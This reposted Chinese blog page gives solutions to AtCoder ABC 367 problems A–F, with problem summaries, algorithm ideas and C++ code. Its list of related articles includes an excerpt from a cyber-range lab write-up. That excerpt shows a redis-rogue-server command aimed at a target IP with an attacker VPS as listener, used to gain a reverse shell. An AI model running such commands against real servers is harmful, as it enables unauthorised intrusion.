AtCoder ABC 367

news/2024/9/18 3:56:01/文章来源:https://www.cnblogs.com/sxloiblog/p/18369348

前言

本题解部分思路来自于网络,仅供参考。

A - Shout Everyday

题目大意

给定 Takahashi 每天的睡觉时间和起床时间,求 Takahashi 在 $A$ 时是睡着的还是清醒的。

解题思路

根据题意模拟即可。

code

#include <bits/stdc++.h>
using namespace std;
int main() {int a,b,c;cin >> a >> b >> c;if(b >= c) { //如果睡到了第二天c += 24;}if((b <= a && a <= c) | (b <= a + 24 && a + 24 <= c)) {printf("No\n");} else {printf("Yes\n");}return 0;
}

B - Cut .0

题目大意

给定一个有三位小数的浮点数,输出这个浮点数去除多余的 $0$ 和小数点后的数。

解题思路

直接输入这个数再输出即可。

code

#include <bits/stdc++.h>
using namespace std;
int main() {double x;scanf("%lf", &x);printf("%g\n", x);return 0;
}

C - Enumerate Sequences

题目大意

给定一个序列 $R$ ,按字典序所有长度为 $K$ 的,满足以下两个条件的数列:

  1. 数列的第 $i$ 个元素在 $[1,R_i]$ 之间。
  2. 数列和是 $K$ 的倍数。

解题思路

直接用dfs枚举即可。

code

#include <bits/stdc++.h>
using namespace std;
int r[15];
int ans[15];
int n, k;
void print() {for (int i = 1; i <= n; i++) {printf("%d ", ans[i]);}puts("");
}
void dfs(int ind, int sum) {if (ind == n + 1) {if (sum % k == 0) {print();}return;}for (int i = 1; i <= r[ind]; i++) {ans[ind] = i;dfs(ind + 1, sum + i);}
}
int main() {scanf("%d%d", &n, &k);for (int i = 1; i <= n; i++) {scanf("%d", r + i);}dfs(1, 0);return 0;
}

D - Pedometer

题目大意

给出湖边 $N$ 个休息区中从一个休息区顺时针走到下一个休息区需要走的部署,求满足休息区 $s$ 顺时针走到休息区 $t$ 需要走的步数为 $M$ 的倍数,$(s,t)$ 对的个数。

解题思路

因为湖边 $N$ 个休息区在一个环上,考虑把输入的数组复制一遍,即把 $[2,1,4,3]$ 变成 $[2,1,4,3,2,1,4,3]$ 。

为了快速求出两个休息区之间的距离,我们对复制过后的数组做前缀和,复制过后的数组前缀和过后得到数组 $s$ 。

为了快速得出哪些区间的区间和是 $M$ 的倍数,我们进行分析。如果区间 $[i,j]$ 的区间和是 $M$ 的倍数,即 $s_j - s_{i - 1}\bmod M=0$ ,则:

$$
\because s_j - s_{i - 1} \bmod M = 0 \
\therefore s_j - s_{i - 1} \equiv 0 \pmod{M} \
\therefore s_j \equiv s_{i - 1} \pmod{M}
$$

所以,当 $s_j \equiv s_{i - 1} \pmod{M}$ 时,区间 $[i,j]$ 的区间和为 $M$ 的倍数。为了得出与 $s_i$ 同模的数,我们维护一个 $map$ ,$map[i]$ 表示有多少个 $s_j$ 满足 $s_j \bmod M = i$ 。每处理一个 $s_i$ ,答案就增加 $map[s_i \bmod M]$ ,并把 $s_i$ 加入 $map$ ,弹出 $s_{i - N + 1}$ 。

code

#include <bits/stdc++.h>
using namespace std;
int a[400005];
int main() {int n, m;scanf("%d%d", &n, &m);for (int i = 1; i <= n; i++) {scanf("%d", a + i);a[i + n] = a[i];}for (int i = 1; i <= 2 * n; i++) {a[i] += a[i - 1];a[i] %= m;}unordered_map<int, int> cnt;long long res = 0;for (int i = 2; i <= n; i++) cnt[a[i]]++;for (int i = n + 1; i <= 2 * n; i++) {res += cnt[a[i]];cnt[a[i]]++;cnt[a[i - n + 1]]--;}printf("%lld\n", res);return 0;
}

[E - Permute K times](E - Permute K times (atcoder.jp))

题目大意

给定两个数组 $A$ 和 $X$ 和一个整数 $K$ ,求 $A$ 在进行了 $K$ 次操作

$$
A_i = A_{X_i}
$$

以后变成了什么。

解题思路

这道题可以看作一道图论题。

$A$ 数组的每一位可以看作图的节点,$K$ 数组的每一位可以看作图的边。

而每一次操作都可以看作是点在图上的运动。

为了快速求出每一个点在运动了 $K$ 步后到了哪里,我们维护一个倍增数组 $x[i][j]$ 表示第 $i$ 个点走了 $2^j$ 步后到了哪里。之后用倍增数组求出每一个点在进行了 $K$ 次操作之后到了哪里,最后输出结果。

code

#include <bits/stdc++.h>
using namespace std;
int a[200005];
int x[200005][64];
int main() {int n;long long k;scanf("%d%lld", &n, &k);for (int i = 1, t; i <= n; i++) {scanf("%d", &t);x[i][0] = t;}for (int i = 1; i <= n; i++) {scanf("%d", a + i);}for (int i = 1; i <= 60; i++) {for (int j = 1; j <= n; j++) {x[j][i] = x[x[j][i - 1]][i - 1];}}for (int i = 1; i <= n; i++) {int p = i;for (int j = 60; j >= 0; j--) {if (k >> j & 1) p = x[p][j];}printf("%d ", a[p]);}puts("");return 0;
}

F - Rearrange Query

题目大意

给定两个数组 $A$ 和 $B$ ,对于每一次询问 $l_i,\ r_i,\ L_i,\ R_i$ ,回答可不可以通过排列 $A[l_i...r_i]$ 使得 $A[l_i...r_i] = B[L_i...R_i]$ 。

解题思路

这道题直接使用哈希+前缀和即可。

code

#include <bits/stdc++.h>
#define MOD 156876589475701
#define MAX_N 200005
using namespace std;
int a[MAX_N], h[MAX_N], b[MAX_N], ph1[MAX_N], ph2[MAX_N];
int main() {int n, q;scanf("%d%d", &n, &q);mt19937_64 mt(time(0));for (int i = 1; i <= n; i++) {h[i] = mt();}for (int i = 1; i <= n; i++) {scanf("%d", a + i);ph1[i] = (h[a[i]] + ph1[i - 1]) % MOD;}for (int i = 1; i <= n; i++) {scanf("%d", b + i);ph2[i] = (h[b[i]] + ph2[i - 1]) % MOD;}int l, r, L, R;while (q--) {scanf("%d%d%d%d", &l, &r, &L, &R);if (ph1[r] - ph1[l - 1] == ph2[R] - ph2[L - 1]) {puts("Yes");} else {puts("No");}}return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784260.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ros2 MoveIt2 MoveGroup C++接口

在 MoveIt 中,最简单的用户界面是通过 MoveGroupInterface 类。 它为用户可能想要执行的大多数操作提供了易于使用的功能,特别是设置关节或姿势目标、创建运动计划、移动机器人、将对象添加到环境中以及从机器人上连接/分离对象。 此接口通过 ROS 主题、服务和操作与 MoveGro…

春秋云镜 Brute4Road

春秋云镜 Brute4Road先用fscan扫一下内网尝试打redis主从 python3 redis-rogue-server.py --rhost 39.98.122.75 --lhost 123.57.23.40 需要在vps下使用,选择r,然后输入要反弹的ip,port 使用pty获得交互式shell python -c import pty;pty.spawn("/bin/bash")尝试UID提…

【OpenCV教程】轮廓检测过程

@目录1.查找轮廓1.1 API1.2 轮廓层级检测模式:索引号(层级)RETR_EXTERNAL(索引顺序:从右下到左上)RETR_LIST(recommended)(索引顺序:从右下到左上,由外到内)RETR_CCOMP(not recommended)(索引顺序:由内到外,从右下到左上)RETR_TREE(recommended)1.3 轮廓坐标点储…

题解:P10279 [USACO24OPEN] The Winning Gene S

思路 建议升蓝。 算法一 考虑暴力。 我们先枚举 \(K,L\),考虑如何求解。 直接枚举每一个 \(K\)-mer,再枚举里面的每一个长度为 \(L\) 的子串,找到最大的子串并在起始部分打一个标记。最后直接看有几个地方被打标记就行。 时间复杂度:\(O(n^4)\)。预计能过测试点 \(1-4\)。 …

C10-02-HTML示例

HTML:02-1.html 基本功能实现:<a>和<img>标签联合使用及<img src="#"> 图片资源绝对路径引用JS使用:行内式、内嵌式、引入外部JS<input>标签:输入标签文本框<!DOCTYPE html> <html lang="en"> <head><me…

异常与中断的概念以及处理流程

1.CPU理解的中断CPU 在运行的过程中,也会被各种“异常”打断。这些“异常”有:指令未定义 指令、数据访问异常 SWI(软中断) 快中断 中断中断也是 “异常” 的一种,导致中断发生的情况有按键 定时器 ADC转换完成 uart 发送完数据,收到收据 等等 这些众多的“中断源”,汇集到…

wifi基础(一):无线电波与WIFI信号干扰、衰减

liwen01 2024.08.18 前言 无论是在产品开发还是在日常生活中,在使用无线网络的时候,都会经常遇到一些信号不好的问题,也会产生不少疑问:为什么我们在高速移动的高铁上网络会变慢? 为什么 5G WiFi 的穿墙能力没有 2.4G 的好? 为什么在对 WiFi 进行 iperf 拉距测试的时候,…

监理单位项目管理系统:选择前你必须知道的事

国内外主流的 10 款监理单位项目管理系统对比:PingCode、Worktile、Primavera P6、Microsoft Project、Wrike、Asana、Trello、红圈、泛微项目协同工具、广联达。在寻找适合监理单位的项目管理系统时,许多专业人士面临着复杂性和成本效益的双重挑战。一个好的系统不仅需要具备…

多任务进程与线程

多任务进程与线程 一、多任务介绍 ​ 我们生活中有很多事情是同时进行的,比如开车的时候 手和脚共同来驾驶汽车,再比如唱歌跳舞也是同时进行的;用程序来模拟: from time import sleepdef sing():for i in range(3):print("正在唱歌...%d"%i)sleep(1)def dance():…

生产工时管理系统:提高效率的秘诀

国内外主流的10款工时管理平台对比:.Teambition; 2.Tower; 3.蓝凌OA; 4.ClockShark; 5.Hubstaff; 6.TimeClock Plus; 7.Jibble; 8.MISys Labor Tracking;9.PingCode;10.Worktile。在选择合适的工时管理平台时,你是否感到挑战重重?市场上的各种选项似乎都声称能够提…

ArgoWorkflow教程(二)---快速构建流水线:Workflow Template 概念

上一篇我们部署了 ArgoWorkflow,并创建了一个简单的流水线做了个 Demo。本篇主要分析 ArgoWorkflow 中流水线相关的概念,了解概念后才能更好使用 ArgoWorkflow。本文主要分析以下问题:1)如何创建流水线? Workflow 中各参数含义 2)WorkflowTemplate 流水线模版如何使用, …

神经网络之卷积篇:详解单层卷积网络(One layer of a convolutional network)

详解单层卷积网络 如何构建卷积神经网络的卷积层,下面来看个例子。已经写了如何通过两个过滤器卷积处理一个三维图像,并输出两个不同的44矩阵。假设使用第一个过滤器进行卷积,得到第一个44矩阵。使用第二个过滤器进行卷积得到另外一个44矩阵。最终各自形成一个卷积神经网络层…